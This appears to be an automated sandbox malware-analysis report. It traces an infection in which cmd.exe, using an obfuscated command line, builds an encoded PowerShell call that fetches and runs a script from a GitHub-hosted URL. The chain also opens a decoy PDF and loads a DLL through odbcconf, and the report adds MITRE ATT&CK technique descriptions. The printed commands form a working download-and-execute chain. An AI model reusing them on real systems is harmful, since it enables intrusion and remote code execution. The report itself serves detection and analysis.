2024-12-17 11:27:17 UTC	322	IN	Data Raw: 63 38 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 61 62 75 73 65 2f 66 69 6e 67 65 72 70 72 69 6e 74 6a 73 5f 63 6f 6d 70 6f 6e 65 6e 74 2d 76 66 6c 54 69 7a 41 6b 66 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 36 65 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 47 4c 6f 44 37 77 4f 51 32 62 4b 4b 71 55 4d 61 4e 48 65 41 4d 71 74 66 38 39 41 3d 22 3e Data Ascii: c8<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/abuse/fingerprintjs_component-vflTizAkf.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>6e<script nonce="GLoD7wOQ2bKKqUMaNHeAMqtf89A=">
2024-12-17 11:27:17 UTC	5100	IN	Data Raw: 31 66 62 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 47 4c 6f 44 37 77 4f 51 32 62 4b 4b 71 55 4d 61 4e 48 65 41 4d 71 74 66 38 39 41 3d 22 3e 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 65 3d 77 69 6e 64 6f 77 3b 6c 65 74 20 69 3b 63 6f 6e 73 74 20 61 3d 28 29 3d 3e 7b 69 3d 5b 5d 2c 65 2e 61 64 64 52 65 71 75 69 72 65 4c 6f 61 64 43 61 6c 6c 62 61 63 6b 3d 65 3d 3e 69 2e 70 75 73 68 28 65 29 2c 65 2e 63 6f 6e 66 69 67 75 72 65 52 65 71 75 69 72 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 69 3d 61 72 67 75 6d 65 6e 74 73 3b 65 2e 61 64 64 52 65 71 75 69 72 65 4c 6f 61 64 43 61 6c 6c 62 61 63 6b 28 28 28 29 3d 3e 65 2e 63 6f 6e 66 69 67 75 72 65 52 65 71 75 69 72 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 69 Data Ascii: 1fb<script nonce="GLoD7wOQ2bKKqUMaNHeAMqtf89A=">(()=>{"use strict";const e=window;let i;const a=()=>{i=[],e.addRequireLoadCallback=e=>i.push(e),e.configureRequire=function(){const i=arguments;e.addRequireLoadCallback((()=>e.configureRequire.apply(null,i
2024-12-17 11:27:17 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 73 74 61 74 69 63 2f 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 61 63 74 69 6f 6e 73 5f 64 6f 77 6e 6c 6f 61 64 5f 61 70 70 5f 6d 6f 64 61 6c 5f 6d 6f 64 61 6c 2d 76 66 6c 34 61 6e 79 6e 33 22 2c 20 22 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 61 63 74 69 76 61 74 69 6f 6e 5f 64 61 74 61 5f 73 6c 69 63 65 73 22 3a 20 22 73 74 61 74 69 63 2f 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 61 63 74 69 76 61 74 69 6f 6e 5f 64 61 Data Ascii: 4000static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_actions_download_app_modal_modal-vfl4anyn3", "atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_activation_data_slices": "static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_activation_da
2024-12-17 11:27:17 UTC	8	IN	Data Raw: 74 6c 61 73 2f 66 0d 0a Data Ascii: tlas/f
2024-12-17 11:27:17 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 64 61 73 68 5f 75 70 73 65 6c 6c 5f 73 65 61 72 63 68 5f 62 61 72 5f 75 70 73 65 6c 6c 5f 64 61 73 68 5f 6d 6f 64 61 6c 5f 6c 6f 74 74 69 65 22 3a 20 22 73 74 61 74 69 63 2f 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 64 61 73 68 5f 75 70 73 65 6c 6c 5f 73 65 61 72 63 68 5f 62 61 72 5f 75 70 73 65 6c 6c 5f 64 61 73 68 5f 6d 6f 64 61 6c 5f 6c 6f 74 74 69 65 2d 76 66 6c 66 58 4a 32 7a 71 22 2c 20 22 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c Data Ascii: 4000ile_viewer/scl_oboe_file_bundle_amd/dist/c_dash_upsell_search_bar_upsell_dash_modal_lottie": "static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_dash_upsell_search_bar_upsell_dash_modal_lottie-vflfXJ2zq", "atlas/file_viewer/scl_oboe_file_bundl
2024-12-17 11:27:17 UTC	16384	IN	Data Raw: 69 6c 65 5f 62 75 0d 0a 34 30 30 30 0d 0a 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 64 72 6f 70 69 6e 73 5f 76 33 5f 73 68 61 72 65 64 5f 68 69 67 68 6c 69 67 68 74 61 62 6c 65 5f 66 69 6c 65 6e 61 6d 65 5f 74 65 78 74 22 3a 20 22 73 74 61 74 69 63 2f 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 64 72 6f 70 69 6e 73 5f 76 33 5f 73 68 61 72 65 64 5f 68 69 67 68 6c 69 67 68 74 61 62 6c 65 5f 66 69 6c 65 6e 61 6d 65 5f 74 65 78 74 2d 76 66 6c 47 37 31 72 34 53 22 2c 20 22 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 65 64 69 73 6f 6e 5f 63 6f 6f Data Ascii: ile_bu4000ndle_amd/dist/c_dropins_v3_shared_highlightable_filename_text": "static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_dropins_v3_shared_highlightable_filename_text-vflG71r4S", "atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_edison_coo
2024-12-17 11:27:17 UTC	16	IN	Data Raw: 64 65 65 70 5f 69 6e 74 65 67 72 61 74 69 0d 0a Data Ascii: deep_integrati
2024-12-17 11:27:17 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 6f 6e 5f 6c 61 75 6e 63 68 65 72 2d 76 66 6c 50 6e 43 2d 66 7a 22 2c 20 22 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 69 6e 74 65 67 72 61 74 69 6f 6e 73 5f 68 65 6c 6c 6f 73 69 67 6e 5f 64 65 65 70 5f 69 6e 74 65 67 72 61 74 69 6f 6e 5f 75 74 69 6c 2e 61 66 74 65 72 2d 64 69 73 70 6c 61 79 22 3a 20 22 73 74 61 74 69 63 2f 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 69 6e 74 65 67 72 61 74 69 6f 6e 73 5f 68 65 6c 6c 6f 73 69 67 6e 5f 64 65 65 70 5f 69 6e 74 65 67 72 61 74 69 6f 6e 5f 75 74 69 6c 2e 61 66 74 65 72 2d 64 69 73 70 Data Ascii: 4000on_launcher-vflPnC-fz", "atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_integrations_hellosign_deep_integration_util.after-display": "static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_integrations_hellosign_deep_integration_util.after-disp

Target ID:	0
Start time:	06:26:59
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" "AAAAAA\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|/V/D/c "ServiceRunLocalDriveUserNotes1ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|OOOOOOOOOOOOOOOOOOOOOOOOOOO\|\|OOOOOOOOOOOOOOOOOOOOOOOOOOXXX\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|OOOOOOOOOOAAAA\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|CCCCCCCC\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1OOOOOOOOOOOOOO\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|OOOOOOOOOOAAA\|\|ServiceRunLocalDriveUserNotes1AA\|\|Se^T ACAACA=:\Helper&&ServiceRunLocalDriveUserNotes1\|\|OOOOOOOOOOAA\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|set SSA=exi&&ServiceRunLocalDriveUserNotes1\|\|@if exist "C!ACAACA!" (!SSA!t) else ( ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|set A=PoW&&set aA=She&&ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|set VERIFICATION=l&&ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|^se^t USERNAME=SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0A&&^s^eT^ Driver=DAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA&&s^et PASSWORD=aQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGM&&set VALIDATION=-enco&&ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|seT^ Update=QAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNA&&^Se^t SECURITYKEY=VwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcA&&Se^T^ CONFIGURATIONDATA=vAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAH&&sET^ Install=AbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwA&& !A!er!AA!l!VERIFICATION! !VALIDATION!ded !USERNAME!!SECURITYKEY!!PASSWORD!!Install!!CONFIGURATIONDATA!!Update!!Driver!)"
Imagebase:	0x7ff676530000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	06:26:59
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	06:26:59
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	06:27:04
Start date:	17/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\Form_Lamaran.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	06:27:04
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden New-Item -ItemType Directory -Force -Path C:\helper
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:27:07
Start date:	17/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	06:27:07
Start date:	17/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:27:07
Start date:	17/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1620,i,5413041402363609044,2761405665689861482,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	06:27:13
Start date:	17/12/2024
Path:	C:\Windows\System32\odbcconf.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\odbcconf.exe" /a {REGSVR "C:\helper\ps2.dll"}
Imagebase:	0x7ff61c9e0000
File size:	27'136 bytes
MD5 hash:	7D7B705E462B7EAE1C4728064E5EFF1C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:27:21
Start date:	17/12/2024
Path:	C:\Windows\System32\odbcconf.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\odbcconf.exe" /a {REGSVR "C:\helper\ps2.dll"}
Imagebase:	0x7ff61c9e0000
File size:	27'136 bytes
MD5 hash:	7D7B705E462B7EAE1C4728064E5EFF1C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00007FFD9B8D4985 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4200960691.00007FFD9B8D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b8d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ba9bf8b20131883459d3554d39c5c6aad3001f5f056810603509ba63cb08e4c
Instruction ID: 9ddb5b1a57bcc2eb6ed5fd6b00cfec072abf86f4c8dee5bd5ebc5767166da9fd
Opcode Fuzzy Hash: 2ba9bf8b20131883459d3554d39c5c6aad3001f5f056810603509ba63cb08e4c
Instruction Fuzzy Hash: 3FD13632B0EA8E0FE7A5ABA848655B57BA1EF99314B0D03FFD44DC70E3D919A905C341

Function 00007FFD9B8033B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4200440223.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b800000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da2c6b30f459f635ce5dc462c2373d4b27d0aa50ea3d8b2107ca56167582fe6
Instruction ID: 2b13d53e025c2be8e90647bd55e6abaa926a26a99d8691448afac0a98a8ed019
Opcode Fuzzy Hash: 5da2c6b30f459f635ce5dc462c2373d4b27d0aa50ea3d8b2107ca56167582fe6
Instruction Fuzzy Hash: A001A73021CB0D4FD748EF0CE051AA6B3E0FF89360F10056DE58AC36A1DA32E882CB41

Non-executed Functions

Function 00007FFD9B8053C8 Relevance: .8, Instructions: 785COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4200440223.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b800000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7475fa3f8d9af17ab23a79c565fb383c27df9e5a208f02a38829f03305f71d73
Instruction ID: 1f171b7c296e6b490a22832686e1cea571dc74146895e18022deb693e6a6b815
Opcode Fuzzy Hash: 7475fa3f8d9af17ab23a79c565fb383c27df9e5a208f02a38829f03305f71d73
Instruction Fuzzy Hash: FD22B8A3B1FAC50FFB310ADC2CA51E95A93FF956A070903F7D4D8460FF6815AE068251

Function 00007FFD9B8D0F45 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4200960691.00007FFD9B8D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b8d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48d95cb8efcf359902c08cf7c44ff301de9977bd6d8a87318d42d3c10434ea19
Instruction ID: 84fc31213d1463ee9325a77c175dad460f6c2bb22ca82e5e8a68ef134461c38f
Opcode Fuzzy Hash: 48d95cb8efcf359902c08cf7c44ff301de9977bd6d8a87318d42d3c10434ea19
Instruction Fuzzy Hash: 58310A52A1FBCA0FE36697A408B59A0AF91DF9B640B5A02FBD48CCB1E3DD495D09C341

Analysis Process: powershell.exePID: 1744, Parent PID: 6884COMMON

Executed Functions

Function 00007FFD9B7E33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1758063067.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a73a21c3248a198af1e89a2b13eb8794bbde26503cfb4fc4cfb7fcdcadaf0afc
Instruction ID: 347eb46863d0610c54c5e9c05e70889870b2352b4ba84a369cc0dc72dc0b729b
Opcode Fuzzy Hash: a73a21c3248a198af1e89a2b13eb8794bbde26503cfb4fc4cfb7fcdcadaf0afc
Instruction Fuzzy Hash: 6D01A73020CB0C4FD748EF0CE051AA5B3E0FF85320F10056DE58AC36A1DA32E882CB41

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
